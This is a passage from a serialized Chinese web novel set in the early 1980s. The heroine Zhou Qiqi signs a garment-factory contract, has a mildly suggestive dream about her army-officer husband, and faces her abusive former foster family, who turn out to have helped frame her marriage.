“没想到三天前,调查组的公安开着车来了,把吕守钱和吴淑芬都带走了。” 他顿了顿,喉结滚动着,说得兴奋极了。 “咱们G市主抓经济的翟副市长知道了咱们厂的事儿!” “本来是打算等我们合约结束后,当正面典型宣传的,没想到半路被吕守钱给阻挠了,听说当时翟副市长大发雷霆,当场就让人把包庇吕守钱的卫主任给带走了!后来又建了调查组...” 李萍听得入神,冒出了疑问。 “翟副市长怎么知道这事儿的?是你告诉他的?” “我哪儿有那么大的本事啊。” 张国强摇头,“我要是认识翟副市长,前面这些事儿就不会发生了。” 李萍突然转头看向周柒柒,眼睛亮晶晶的,“柒柒,那是你...?” “别看我。” 周柒柒连忙摆手,“我才刚来到G市才不到三个月,咋可能认识什么副市长。” 张国强又接着说道。 “这不,今天调查组终于出了结果了,把吕守钱的厂长职位给撸了,还给了我任命状,我一拿到任命状,就赶紧坐车过来找你了,生怕你跟别的厂把合约签了!还好来得及!” 他话刚说完,李萍就有点不好意思地揽住周柒柒的胳臂。 “柒柒,我得认罪,你今天来城里签约这事儿,是我告诉国强的,你可别生气!” “怎么会呢!” 周柒柒摇了摇头。 “要不是吕厂长忽然出来,我肯定是要和第一服装厂继续合作的,幸好刚才没签约,照着邱厂长后头那副态度,要真签了,还不知道后面要出什么幺蛾子呢!” 说着说着,便是到了第一服装厂。 说话间,卡车拐进了第一服装厂的大门。 和一个星期前的冷清不同,厂区里人声鼎沸。 有人踩着梯子刷标语,有人推着小车运送布料,连厂里看仓库的大黄狗都伸长脖子“汪汪”叫着凑热闹。 和一个礼拜之前的安静不同,今儿个,厂子里到处都是人,大家都在忙着打扫卫生,气象一新,人人脸上都是喜气洋洋的。 “周师傅接回来没有?” 卡车还没停稳,马师傅就挤开人群冲了过来。 她穿着洗得发白的工装,袖子高高挽起,露出胳膊上的缝纫机烫伤疤痕。 看到小黄点头,她立马扯着嗓子喊道,“太好了!太好了!工友们,周师傅回来了!” 话音没落,一大群人就拎着东西过来了,有苹果,梨子,罐头,还有自己织的围巾,其他厂子的福利毛巾啥的。 周柒柒一下车,立马就有一群人把她围住了。 把她吓了一跳,问道,“马师傅,工友们,你们这是...?” 马师傅笑得腼腆。 “这不,吕守钱回来那天,大家伙不知道咋回事,跟着他起哄,差点伤着你,大家伙都挺内疚的,自发给你拿了点东西。” 第144章 他这个人不靠谱 工人师傅们穿着简朴,一看就知道平时过的也不是什么富裕日子,周柒柒忙摆了摆手。 “那天的事情,我也没怎么放在心上,这些东西我不能要。” 她声音清亮,带着几分诚恳。 马师傅浓眉一皱,板起脸佯装不高兴,声音粗粝却透着不容拒绝。 “不行,你必须得收下!这些都不是啥值钱东西,你收下了,大家伙才能安心啊!” 后头两个大婶挤了过来,其中一个扎着褪色的红头绳,手里紧紧攥着一筐鸡蛋,筐沿还垫着旧报纸; 另一个穿着灰扑扑的褂子,胳膊上搭着条手工织的蓝白格子围巾。 “是啊,周师傅,你就收下吧。” 扎红头绳的大婶嗓门高,“这鸡蛋是俺自家老母鸡下的,可新鲜了!” 另一个也跟着附和,“收下吧,这围巾虽然织得不好,但好歹能挡挡风,拿去给亲戚朋友都行。” 这几个之前周柒柒在车间也是见过的,工作挺用心的。 周柒柒看着他们期待又真挚的眼神,又暖又软。 可望着地上堆着的东西,她犯了难,咬着嘴唇说。 “我倒是想收下,可是我这也一个人也拎不回去啊。” 正说着,张国强快步走了过来,脸上挂着标志性的憨厚笑容。 “没事儿,一会儿赵同志要过来一趟给我办公室送花,你让她捎带着你一起回去就成。” “赵同志?” 周柒柒愣了一下才反应过来,有些疑惑。 “你是说赵大梅?她怎么会来这儿送花?” 张国强的脸“腾”地一下红了,支支吾吾道。 “这个,说来话长,总之她一会儿要过来,这些东西待会儿放她驴车上就成。” 这会儿人多,周柒柒也不方便多问,和工人师傅们打了声招呼,就先去张国强办公室谈合同的事。 办公室里,两人围着旧木桌坐下。 张国强把一叠文件推到周柒柒面前,先说起之前就定好的库存改造合同,又提到和第三服装厂洽谈的承包生产线合同。 他身子往前倾,眼神坚定,“只要能把厂子给盘活,三七分就三七分,大不了厂子里少挣点,不管怎么样,都得先让工人们的工资有着落。” 说完,他眉头一皱,“不过,周师傅,咱们这试运营三个月,你得负责工资和布料钱啥的,这少说也得一万块,这笔钱,你预备怎么说?是要从银行贷款吗?” 周柒柒点了点头。 “报纸上说,1981年人民银行发过文件,允许对个体工商户发放小额设备贷款,我上次存钱的时候问过了,像我这种情况,可以贷给我几万块。” 张国强皱了皱眉头。 “这种对私人的贷款我之前倒是也在报纸上看到过,年利率不低吧?好像要10%?” 周柒柒叹了口气,“是不低,不过这也是没办法的事。” 突然,张国强脸上绽开灿烂的笑容,像发现了新大陆。 “我今天从市政府出来的时候,翟副市长专门找我聊过,他很支持我们厂里努力自救,想将我们厂里作为改革试点,只要我们拿出合适的方案,在资金方面,政府会给一笔低息甚至无息贷款,让我们放手干!” 说着,他得意地扬了扬手里的合同,眼里闪着光。 “我相信,这份承包生产线的意向书,定然会让翟副市长眼前一亮的!” “无息贷款?那太好了!” 这可真是意外之喜,周柒柒喜出望外,这可解决了他的大麻烦。 “这位翟副市长,还挺有眼光的!他该不会是温州人吧?” 张国强惊讶地看着她,“你怎么知道?” “还真是?” 周柒柒自己都没想到蒙对了,心里暗暗想着,之前看的电视剧果然没白看,温州人脑子就是活泛。 正说着,院外传来“得得”的驴蹄声。 赵大梅赶着驴车停在门口,利落地跳下车,搬了几盆花进办公室。 她穿着一件干干净净的蓝布衫,头发随意地扎成马尾,透着股爽利劲儿。 周柒柒见状起身。 “行了,也说得差不多了,合同的事儿你多操心,回头翟副市长那边,如果有机会的话,咱们一起去见一见。” “成!” 张国强一边应着,一边小跑着去接赵大梅手里的花盆,脸上还带着几分不自在。 赵大梅帮忙把工友们给周柒柒的东西搬上驴车。 两人坐上车,驴车晃晃悠悠地往军属区驶去。 周柒柒瞅准机会,好奇地问了送花的事。 赵大梅一听,立刻撇了撇嘴,手里的鞭子重重一甩, “那花是三个孩子买的,跟他可没关系!” 赵大姐似乎对张国强没啥好感,不等周柒柒问,就忙不迭地开口和他撇清关系。 原来前几天,张国强跑去喝闷酒,醉醺醺地倒在家楼下。 三个孩子独自在家,饿得肚子“咕咕”叫,就自己动手烧稀饭。 结果不懂事,往炉子里添了湿煤,浓烟瞬间灌满了屋子。 还好当时赵大梅正好在附近卖花,瞅见窗户小缝里飘出浓烟,赶紧撇了驴车上去救人。 周柒柒听得揪心,赶紧问道,“孩子们没事吧?” 赵大梅摇摇头,语气缓和了些。 “没事,还好孩子们知道开窗通风,倒是没多大的事。” 她顿了顿,又说。 “孩子们为了感谢我,把自己攒的两块钱掏出来给我,我不拿,他们又变了法子,说要买我的花,一个个眼巴巴的,我实在是不忍心拒绝。” 周柒柒望着天边的晚霞,感慨道,“这几个孩子小小年纪,妈妈就去世了,没想到,却这么懂事。” “孩子们确实懂事。” 赵大梅又重重甩了下鞭子,眉头皱得紧紧的,“就是张副厂长这个爸爸太不负责任了!” 周柒柒知道张国强的为人,忍不住替他辩解。 “大梅姐,你这就误会他了,其实平时他还是挺负责任的,那天可能是压力实在太大了。” 赵大梅却不以为然,哼了一声。 “压力再大,也得为孩子负责啊,反正我觉得他这个人不靠谱。” 这俩人之间的误会不是一两句就能说得清的,周柒柒说了几句,也就不再说了。 驴车晃晃悠悠,很快到了家属院。 周柒柒今天在城南城北两头跑,累得腰酸背痛,等回到家天已经擦黑了。 刚到家,正准备跟沈淮川说今儿的事情呢,王团长那边就把人叫走了,说是让他帮着给完善训练计划。 等人回来的时候,已经有点晚了,周柒柒睡得迷迷糊糊的。 许是今儿把丁医生那句“可以穿针引线了...”放在心上了,她一睡着,就做了点奇奇怪怪的梦。 也许是因为在梦里,吻着吻着,她忽然生出了勇气,想要占据主动权,翻身到了沈淮川身上,小手也大胆地胡乱摩挲了起来。 正摸的起劲,也越来越接近某些禁忌的部位,这时,一道沙哑的嗓音却传入她的耳膜。 “柒柒...” 第145章 肆无忌惮 周柒柒虽然没有吃过猪肉,但是还是看过猪跑的。 平时搭梯翻墙更是家常便饭,所以这梦更是做地肆无忌惮,荤素不忌。 “柒柒...” 听到这道沙哑的嗓音在耳边响起,周柒柒非但没被吵醒,反而整个人陷进梦里,迷糊得更彻底了。 “叫什么柒柒?” 她眼睛都没睁,伸手一把揪住沈淮川的领口,布料被攥得皱巴巴的。 她身子往前探,发梢扫过沈淮川的脸。 “你该叫我老婆,叫我宝贝、宝宝...” 每说一个字,她的嘴唇就离沈淮川的耳垂更近一点,最后直接贴上去,轻轻咬了一口。 “或者叫我主、人...嗯?知道了吗?” 灼热的气息,挑逗地沈淮川的耳尖爆红,顺着脖子往下漫,连喉结都跟着发烫。 周柒柒哪肯放过,纤细的手指勾住沈淮川的下巴,指尖还带着点没睡醒的绵软劲儿。 “来,叫一声听听?” “老...婆...” 沈淮川的喉结艰难地滚动了一下,一滴汗珠顺着脖颈滑进衣领里,气氛说不出的暧昧撩人。 周柒柒浑身发软,脑子里乱糟糟的,脱口而出:“我承认了,我就是馋你的身子。” 说完,她直接凑上去,嘴唇贴上沈淮川冰凉的唇,小手也不自觉地往他紧实的腹肌摸去。 沈淮川的身子猛地绷紧,肌肉硬得像块石头,明显在抗拒。 周柒柒有些不解。 正当这个时候,就听见“砰砰砰——!” 门外一阵急促而用力地敲门声响了起来。 而且听着声音,还似乎不止一个人在敲门,好像有千军万马似的。 周柒柒被吵得一个激灵,猛地睁开眼睛。 刚清醒过来,就觉得不对劲。 低头一看,心“咯噔”一下提到了嗓子眼。 沈淮川真的躺在她身下,而她正跨坐在人家身上! “你...我...你啥时候回来的?” 周柒柒慌得声音都变了调,手脚忙乱地从沈淮川身上下来,膝盖还不小心磕到了床沿。 “刚回来。” 沈淮川声音沙哑,眼中黑沉沉的,有些晦暗不明。 周柒柒心虚地吞了吞口水,心里七上八下的,“那你刚才听到我说什么没有?” “没有...” 沈淮川摇了摇头。 可周柒柒总觉得不对劲,还想再问,敲门声又响了,这次还伴着大喊:“开门!快开门!” 那嗓门大得,连隔壁邱春芳家都传来骂骂咧咧的声音:“干嘛呢?!大半夜的!” 舟舟房间里也亮起手电筒的光,估计孩子也被吵醒了。 “我去开门。” 沈淮川一边说,一边弯腰系军靴的鞋带,动作干脆利落。 “我和你一起去。” 周柒柒听着外头的声音,莫名觉得有点耳熟,她随手抓过一件西装外套,跟着往外走, 敲门声一直没停,沈淮川快步走到门口,提起煤油灯,“吱呀”一声开了门。 门只开了小半扇,外头站着三个人。 打头的是一对五十多岁的夫妻,老头子穿一件皱巴巴,领口已经发白的蓝色中山装,下身黑色棉布裤子,膝盖处都鼓包了,显得人都有些佝偻,脚上的黑色解放鞋还沾着泥点子,头上戴着个褪色的军帽,看着就是普通的农村老汉。 老婆子倒是穿得整齐些,碎花棉布衬衫、黑色长裤、黑布鞋,头上还系着红头巾,一身衣裳新得发亮。 她眉毛又浓又黑,吊梢眼,眼角的皱纹里都透着精明劲儿,薄嘴唇紧紧抿着,一看就不是好惹的主儿。 两人后头站着个十七八岁的姑娘,扎着红头绳,穿着件自己裁剪的红裙子。 料子不咋地,剪裁倒还凑合,就是胸口沾着几个灰点子,明显是吃饭时掉的脏东西没洗干净。 姑娘眼睛小小的,塌鼻梁,眼神里透着股小家子气。 这三人脸色不善,一看就不是什么好相与的。 沈淮川眉头拧了起来,语气冷淡,“你们是...?” 老头看到开门的是个高大的军人,穿着绿背心和军裤,立马堆出笑脸。 “同志,我们找柒柒那丫头,周柒柒!她是不是在这儿呢?” 沈淮川挑眉,语气客气却带着疏离。 “你们是她什么人?这么晚了,找她有什么要紧事吗?没有的话,麻烦白天再来,这么晚了不方便。” 他想着这可能是周柒柒的老乡,虽然瞧着不太顺眼,话里还是留了几分情面。 他只当这几个人是周柒柒的同乡,虽然不太喜欢他们的做派,但言辞已经尽可能地客气了。 没想到老婆子一听要走,立马不干了。她双手叉腰,用力一推门,门板“哐当”一声撞到墙上。 “我是啥人?我是她娘我!我找她天经地义!等不了明天! 后头的小姑娘眼尖,一眼瞧见沈淮川背后的周柒柒,手指立刻指了过去。 “爹!娘!你们瞧!她在哪儿呢!真是她!” 老婆子眼睛瞬间瞪得溜圆,三步并两步冲了过来,围着周柒柒上下打量,眼神像刀子似的在她身上剜:“死丫头!真是你!” 刚才离得远没看清,这会儿仔细一瞧,虽然比从前圆润饱满了不少,但这五官,这身段,她养了十几年的人,化成灰她都认得,这就是周柒柒! 还没等周柒柒反应过来,老婆子劈头盖脸就是一顿骂。 “我不是让你去和许树结婚来的吗?你...你咋还能嫁给别人了?你这没有良心的贱丫头!” 老头也在旁边跟着数落,“就是!这都咋回事啊?!不像话!” 说着,老婆子便是强硬地拽着周柒柒的胳膊就要走。 “走!跟我们回去!把事情给我说清楚!” 老婆子常年干农活,力气大的很,周柒柒冷不丁被她拽住,还有些挣脱不开。 “放开她!” 好在沈淮川及时出手,一把将老婆子的手掰开,将周柒柒护在了身后,冷眼瞅着这一家人。 “你们是许树的父母吧?周柒柒现在已经和许树没关系了,也和你们许家没任何关系了,她现在是我一团团长沈淮川的媳妇,是军嫂!不是你们想带走就能带走的。” “团...团长?” 许老头被这头衔吓得一哆嗦,转头小声问许母李桂香。 “老婆子,这可咋办?” 李桂香一开始也有点慌,可转眼瞥见周柒柒,眼珠子一转,又硬气起来。 “团...团长怎么了?团长就能强占我们家闺女了?” 听李桂香说自己是她闺女,周柒柒说不出的恶心反胃,正想反驳,沈淮川先一步说道。 “你说她是你们家闺女,有没有证据?有收养材料吗?户口本上关系是母女吗?” “这...” 这话像一记重锤,砸得李桂香说不出话来,张着嘴愣在原地。 第146章 你个没良心的贱蹄子! 那年周柒柒爹娘把她托付给许家时,原是想让他们认作干女儿的。 可许家两口子琢磨着自家穷,许树眼瞅着要长成大小伙,说媳妇得花彩礼,便把人留作了童养媳,往后既省了聘礼,又多了个使唤人。 至于户口的事儿,李桂香又想着,分成两个户口本,大队分粮食、分菜地,又能多分一分,这事儿就一直拖着没办。 到如今,周柒柒的户口还是单独一本——纸面上看,两家压根没半分关系。 道理是这么个道理,李桂香却偏不认,脖子一梗就嚷嚷。 “没材料咋了?她周柒柒就是我们许家养大的,全村人都瞅见了,难不成还能赖账?” 沈淮川嗤笑一声,眼尾都带着冷意。 “她是被你们养大没错,可这些年当牛做马也报答了。至于嫁人,是你儿子许树亲口应下的,现在我们两个结婚证都扯了,你们不认,是想破坏军婚?” 这话跟顶雷似的,许老汉当场就心虚了,赶紧戳戳李桂香的胳膊。 “老婆子!隔壁村王二狗就先前因为拆散人家军婚,被民兵捆到公社批斗,现在还在县里的大牢蹲着呢!这可是大事!” 李桂香眼珠子骨碌一转,立马就怂了,但仍然没放弃,而是声音软和下来,换了套说辞。 “看您说的,我们哪懂这些规矩??柒柒到底是我们养了十几年的,如今她悄没声儿就嫁人了,我们总得问问清楚,跟她唠唠体己话不是?绝没有破坏军婚的心思。” 她嘴上说着软和话,眼角却偷偷瞟向周柒柒,那眼神里的算计,藏都藏不住。 “你要跟她们说啥吗?” 沈淮川转头看向身后的周柒柒,眼神里带着询问。 周柒柒靠在沈淮川身后,指甲掐进掌心。 原主这十几年,哪回不是被这副嘴脸哄骗?她冷着脸,眼皮都没抬。 “我没啥好跟你们唠的,有话就去找许树问,到底咋回事,他心里比我清楚!” “你个没良心的贱蹄子!” 李桂香一听就来气了,跟往常一样,抄起墙根靠着的扫帚就想往上扑。 “白养你这么大,翅膀硬了就敢顶长辈?!反了你了!” 周柒柒瞳孔骤缩。 穿来这三个月,原主的肌肉记忆还刻在骨子里,每当扫帚扬起,她就会条件反射地抱头蹲下。 可这次,她刚弯下腰,就听见“啪”的一声脆响,不是扫帚落地,而是骨头碰撞的闷响。 沈淮川的手像铁钳似的攥住李桂香的手腕。 他当兵多年,手上的茧子磨得扫帚柄都发毛,此刻用了十足的力气,指腹几乎嵌进李桂香的皮肉里。 “啊——!” 李桂香疼得脸都扭曲了,扫帚“哐当”掉在地上,手腕以诡异的角度红肿起来. “松手!疼死我了!” 就在这时,门外传来喊声。 “爹!娘!” 许树穿着半新的的确良衬衫跑进来,头发抹了厚厚的发蜡,在日光下油光水滑,却掩不住额角的汗。 他桃花眼瞪得溜圆,先瞅见地上的扫帚,又看见他妈疼得龇牙咧嘴,慌忙往中间挤. “咋回事啊?我在卫生所等半天,你们咋跑这儿来了?” 沈淮川松开手,李桂香踉跄着摔在青石板上,后脑勺“咚”地磕了一下,疼得直哼哼。 许老汉赶紧去扶,却被沈淮川的眼神钉在原地。 那眼神像淬了冰的刀,从许树脸上刮过,“你就是许树?管好你家的人。” 他顿了顿,声音不高却带着千钧之力,“再敢上门撒野,别怪我按军规处理。” 话没说完,眼里的寒光却让许家小妹吓得脸色发白,躲到了许树背后。 许树被他的气势吓得后背直冒冷汗,硬挤出个笑。 “沈团长!误会!都是误会!自家人,别伤了和气。” 说着就冲许老汉和李桂香使眼色,“赶紧跟我走!” “可是...” 许母还想犹豫,偷偷瞅了眼周柒柒,被许树拽着胳膊就往外拖,“磨蹭啥!快走!” 李桂香还想回头骂两句,被许树狠狠掐了把胳膊,才骂骂咧咧地跟着走了。 看着四人离去的背影,周柒柒长长吁了口气,怕什么来什么,许家人还真摸到军属区来了,简直晦气。 她没心思再想刚才的事,先去舟舟屋里瞧了瞧。 这孩子心思重,刚才的动静怕是听见了,这会儿却躲在被窝里装睡,长长的眼睫毛颤巍巍的。 周柒柒心里一软,伸手轻轻抚了抚她的额头,声音放柔:“睡吧。” 出了门,见沈淮川还在门口站着,周柒柒关上门就问他吃饭没,毕竟饭前他就被王团长的勤务兵叫走了。 沈淮川摇摇头,说跟王团长在军区讨论训练计划到太晚,王团长喊他去食堂,他怕周柒柒等急了,就先回来了。 “那我去给你下碗挂面。” 周柒柒去柜子里翻出挂面和午餐肉,又到后头菜地割了把菠菜,顺道摘了点小葱、香菜。 等回厨房时,沈淮川已经把煤炉子烧得旺旺的,锅里也添好了水。 瞅着锅还没开,周柒柒回房把今天签的意向合同拿给沈淮川,趁着煮面的功夫,把前前后后的事儿全说了一遍。 这事儿折腾来折腾去,等面条端上桌,才算讲完。 沈淮川挑了一筷子挂面,脸埋在热气里看不清表情,语气平平地问,“厂里出事儿时,咋不跟我说?” 周柒柒莫名觉得他语气不对,赶紧解释。 “这不是听医生的话嘛?丁主任说你得静养,那事儿糟心,我就想着先瞒着,这才几天就有转机了,现在说正合适!” 她明明是为了不拖累沈淮川才不告诉他的,是为了他好。 但不知道为什么,说起来,就是有点没来由的心虚,也不敢去看沈淮川。 还好沈淮川没多再追问什么,只低低地“嗯”了一声。 第147章 第一百四十七章 高低立现 吃完了面,沈淮川去洗了个澡,眼看着时间不早了,也就睡下了。 另一边,许家人刚踏出周柒柒家院子,就跟捅了马蜂窝似的炸开了锅。 李桂香皱嘴里跟连珠炮似的骂个不停。 “她凭啥就嫁人了?住那么好的院子!我老婆子都没住过那么好的院子!” “小丫头片子!过上好日子了,就连我这个娘都不认了!” 她突然拔高声音,手指朝着来时的方向狠狠戳了戳。 “你们没瞅见,刚才她瞅我那眼神,跟仇人似的!反了她了!” 唾沫星子四处飞溅。 许枣这会儿也在旁边添油加醋,她伸长脖子,盯着不远处的小院,眼神里满是嫉妒。 “是啊,她吃的白白胖胖的,还有身上那衣裳,料子那么好呢,那样式我见都没见过!” 说着还扯了扯自己身上的衣裳,嘴角撇得老长。 许树好几家没见过家里人了,一见面就是怨这怨那的,也没给他一个好脸,他四下张望了一番,压低声音呵斥。 “行了,你们!都别说了!眼皮子那么浅呢!这是部队大院,仔细让人听见了!” 话刚说完,他又想起什么,板起脸指责道。 “我在信里不是说了,让你们把介绍信给站岗的看了,让他给你们指路到卫生所吗?你们找到周柒柒家里干啥?” 李桂香正憋了一肚子火没处撒,听到这话直接扭过头去,不搭理他。 许枣赶紧拽了拽哥哥的袖子,替母亲解释。 “自打你来信说,周柒柒嫁给别人了,娘就一直惦记着,火车上都念叨了一路了,一直不相信,非得亲自过去看一下!” 许树无奈地砸了砸嘴,喉结上下滚动了几下,“这有啥信不信的,嫁人就嫁人了呗!” 许枣摇着许树的胳膊,眼睛里满是好奇。 “哥,到底咋回事啊?那周柒柒说你比她清楚!你快跟我们说说呗!” 李桂香也沉着脸开了口,脸上的横肉跟着抖动。 “娘给你养了十几年童养媳,这周柒柒正是能生儿子的时候呢,干活也麻利,怎么就便宜了别人!这不等于正过年呢,把养肥了的年猪放跑了吗!到底咋回事!你最好给我说清楚咯!” 许树眨了眨眼睛,张了张嘴又闭上,最后憋出一句,“娘,你不懂...” 军属区这会儿已经熄灯,路上没几个人影,偶尔能瞧见有人打着手电筒往茅房去。 许树心里发怵,东张西望了好一会儿,才把一家人拉到角落里的小树林。 月光透过树叶洒下来,在地上投出斑驳的影子,他咽了咽唾沫,确认周围没人,才把自己和林瑶相好的事儿说了出来。 一开始李桂香还黑着脸,可一听到林瑶是城里大学生,还是学医的,眼睛瞬间瞪得比铜铃还大,脸上满是不可置信。 “啥?真的假的?” 许树胸脯一挺,脸上的得意都快溢出来了。 “当然是真的了!不然你们能拿到军属区给开的介绍信?她现在分配到这儿的卫生所,端着铁饭碗,一个月能拿四、五十块钱呢!” 这话一出,许家三人都愣住了。 就连刚才一直没说话的许老头都开了口。 “一个月就有四、五十,咱们在地里刨食,一年到头都落不下一百块钱,人家两个月就能拿上?” 许树重重地点了点头,接着显摆。 “可不!不光是这点,她爸妈也都是医生,他哥也是机关单位的,家里在京都有好大一个房子,有钱着呢!这不,前两天,她哥哥刚刚给汇了两百块零花钱呢!” “两百块!还只是零花钱!” 李桂香浓眉猛地一挑,吊梢眼眯成了一条缝,脸上的褶子都笑开了花。 “树儿,你太有本事了!真不愧是娘的好儿子!这样的女人也能弄到手!” 许树笑眯眯地,桃花眼都快弯成月牙了,接着说。 “不止呢!瑶瑶还答应我,等我俩的事儿定下来,跟她父母好好说了,让他们给一大笔钱,资助儿子我去做生意呢!等过段时间,再让她给小妹也介绍一个城里对象,咱们一家人就都能过上好日子了!” 这下许家三人眼睛都亮了,李桂香搓着手,嘴里念叨着。 “好好好!太好了!这儿媳妇太好了!” 许树见大家都高兴,又趁热打铁。 “娘,柒柒是咱家的童养媳没错,您怎么着也养了十几年了,可她要啥没啥,啥也给不了儿子,娶了她,还得指望我往回挣钱养着,怎么和林瑶比啊?” 说实话,他之前看到周柒柒变得那么好看,还前凸后翘的,心里不是没动心思。 可一想到林瑶的条件,那点子心思立马就散了。 周柒柒再好看,不也就是个空壳子,又不能当饭吃。 林瑶就不一样了,每个月有固定收入,家里还能帮衬,两相一比较,高低立现。 许老头听了直点头,“是这个理儿,是这个理儿!!娃儿说得对!” 许枣也跟着附和,“我要林瑶姐当我嫂子!” 可李桂香却还有其他想法。 “话是这样说没错,娶媳妇肯定是要林瑶,可周柒柒再怎么说,也吃了咱家十几年饭了,也不能说嫁人就嫁人啊!这也太便宜她了!” 想起刚才周柒柒冷冰冰的态度,她就气不打一处来,胸脯剧烈起伏着。 “你把这事儿提前跟我们说了,我们就不让她来找你了,把她嫁给隔壁村的老鳏夫,怎么也能收个三四十块钱,总比现在啥也没有强!” 许树吓得脸色一白,又紧张地四下张望了一圈,确定周围没人,才把一家人聚得更紧,压低声音说。 “娘!这话可不敢说!” “你不知道,刚才那个男人啊,叫沈淮川,他家里对瑶瑶家有恩,为了报恩,从小和瑶瑶定了娃娃亲的,又是军人,没法直接退亲,要不然跟家里说不过去,跟部队那儿也没法交代,万一判个破坏军婚就不成了,所以,瑶瑶想了个法子...” 他压低声音,把设计周柒柒和沈淮川被“捉奸”的事儿一五一十说了出来。 李桂香听着,吊梢眼越挑越高,最后满意地点了点头。 “这林瑶,脑子倒是还挺活泛的,比周柒柒强。” 可没一会儿,她又皱起眉头,满脸担忧,“但是这事儿也太危险了,万一...” 许树赶紧揽过母亲的肩膀,拍了拍,“放心吧!娘!没有啥万一!柒柒真以为自己走错了房间,那会儿连死的心都有了,哪儿会怀疑什么啊?沈淮川更是,瑶瑶一哭,他就啥都答应了。” 他目光扫过面前的三人,眼神变得阴鸷。 “总之...这事儿知道真相的只有我们俩,现在再加上咱们一家子,只要咱们都守口如瓶,就没人能知道,就算是有人怀疑,也没证据,证明不了什么!” 第148章 比我从前那个嫂子强一万倍 许树狠了狠心,舌尖蹭着干裂的嘴唇,声调里透着一股子不容掰扯的笃定。 “咱眼下最当紧的,就是把这门亲事儿板上钉钉,催着瑶瑶爸妈把钱汇过来,旁的都先撂下,以后再说!” 李桂香眼皮子一抬,手指绞着衣角应下来。 许枣眼睛瞪得溜圆,酸溜溜的语气跟泡了醋似的,跟着嘟囔。 “就是!她也配得上?要嫁也该我嫁才对!哥,你有这好事儿咋不先想着妹妹我...” 说着拿手指头轻轻戳了戳许树的胳膊,又是撒娇又是埋怨。 刚才沈淮川穿了件军绿背心,下腹衣裳不知咋翻了个角,里头的肌肉线条若隐若现,许枣瞅得眼都直了,哈喇子差点流到衣襟上。 许树瞅着妹妹那模样,没好气地翻了个白眼。 “他有啥好?凶巴巴的,人都说他是军区里的活阎王,对文工团的女娃子都没个好脸色!嫁给他指定要遭罪!回头让你嫂子她爹妈给你寻个城里有钱的医生,或是机关单位的小领导,那才是掉进福窝窝呢!” 李桂香揉着红肿的手腕,骨头缝儿还疼得慌,“呸”地啐了口。 “就是!那男人连我这老婆子都敢动手,嫁给他能有好日子过?指不定腿都给你打折了!这罪啊,也就周柒柒那天生耐打的能受!” 许树摆了摆手。 “行了,不说他们了,还有正事要说呢。” 李桂香欣慰地看向儿子。 “行,娃,你说,你这么有本事,你说啥我们都听。” 许树板着脸叮嘱。 “瑶瑶到底是城里娇养的,脾气不太好,你们可不能跟对柒柒似的对她,更不能支使她干活,得好生伺候着,尤其是你,娘,收敛着点脾气,别给人甩脸子,听见没?” 李桂香撇着嘴,“我伺候她?她嫁过来就是咱家媳妇,哪有婆婆伺候媳妇的理儿?” 许树知道老娘的性子,赶紧劝。 “你们就待这几天,忍忍!等钱到账,过些日子她肚子大了,不就跟咱许家捆死了?往后还不是由着你收拾?"” 李桂香不情不愿地应了,“也是,行吧...” 许树又看向爹和妹妹,“你俩也都记好了?” “知道,知道。” 许老头憨笑着,露出一口黄牙。 许枣忙点头,“哥你放心,我心里有数!” 许树这才放下心,又问,“对了,让你带的结婚钱带来没?” “你又不往家里寄钱,家里哪还有闲钱?” 李桂香撇撇嘴,见许树脸色沉下来,又拍了拍手里的小包袱,得意道。 “不过周柒柒她爹留下个玉佩,说是祖宗留下来的老物件,能保周家后代平安,本来想等你俩生了娃给孙子戴的,不过我想着,她都不是咱家媳妇了,就拿去卖了,嘿,还卖了三百块!够你在城里办事儿了!” 许树拍了拍胸口,桃花眼眯成了缝,“这我就放心了!” 他眼尾往上一挑,又问,“除了玉佩,还有没啥值钱玩意儿?有的话一起卖了,留着也没用。” 李桂香摇了摇头。 “别的物件,她来咱家那几年早都卖光了?不然咱家那三间大瓦房咋盖得起来?” 许树咂摸咂摸嘴,觉得有点可惜。 “算了,没了就没了吧,三百块也够使了。” 他又反复跟家里人交代了几遍注意事项,这才带着他们往卫生所走。 卫生所的灯没跟着熄灯号灭,林瑶住的那间偏房亮着暖黄的光。 门敞着,地上投着影子,影影绰绰见着个影子,举着个油乎乎的东西啃得正香,吃得又快又急,好像几百年没吃过饭似的。 李桂香嘀咕,“屋里进耗子了?” 许枣瞅着影子,“城里也有这么大的耗子?” 许树一拍大腿,“糟了!我今儿刚买的卤味!” 他忙不迭地跑进屋里,一边跑还一边抱怨着。 “瑶瑶,你咋不知道看着点,那些卤味是给爸妈接风用的,咋能被耗...” 子还没说完呢,就见林瑶正坐在吊灯下头,手里拿着半个猪蹄,啃得正香呢。 许树愣住了,“瑶瑶,咋是你?你咋吃上了?” “我咋就不能吃了?” 林瑶翻了个白眼,明显就不高兴了,许树赶紧哄道。 “不是不是,我不是不让你吃,我只是想到,你平时不是从来都不吃这些东西吗?嫌脏...” “今天不知道咋了,忽然就想吃了,咋了,就吃这么点东西,你咋咋呼呼的干啥?吓到我了!” 林瑶被他一咋呼,忽然觉得手里的猪蹄腻得慌,抬手就往许树脑门上一丢。 那猪蹄油光水滑的,“滋溜”一下顺着他脑门滚到地上,正好砸在刚进门的李桂香身上。 李桂香一进门就瞅见这场景,“你这贱...” 刚骂出口,眼瞅着林瑶腕子上明晃晃的金镯子,到了嘴边的“贱蹄子”生生咽了回去,舌头根子都差点咬掉。 她使劲挤出个笑脸,“树儿啊,这就是瑶瑶吧?” “叔叔阿姨来了咋也不提前说声!” 林瑶爸妈都是医生,打小教过规矩,她白了许树一眼,起身去跟许老头和李桂香握手,闹了两人一手油。 许枣从后头钻出来,盯着林瑶身上的衣裳眼睛都直了。 “还有我呢瑶瑶姐!我是许树的亲妹妹许枣!遥遥姐,你这衣裳真好看,是在百货公司买的吧?” 林瑶得意地仰着头。 “百货公司怎么买得到这种高级货?我这可是香江那边的最新款!” 她眼睛转了转,“你要喜欢的话,送你好了!反正这身我也不爱穿,已经让我哥给我买新的了!” 她身上的这身,就是之前穿着准备“艳压”周柒柒的那身,但是没想到被周柒柒一身套装给打败了,自那以后她就没在外头穿过,就当睡衣胡乱穿了。 就算送人也不心疼。 许枣眼睛瞪得像铜铃,也不嫌林瑶身上油,直接扑上去抱住她。 “真的?送我了?瑶瑶姐你真好,比我从前那个嫂子强一万倍!” 林瑶脸色一下就沉了下去。 “从前那个嫂子?你是说...周柒柒?” 糟了! 许树心里暗道。 今天他刚到军属区,刚一说到周柒柒,林瑶就发脾气了,明显是不想听到周柒柒的名字。 他忘了给家里人交代了! 许枣又道。 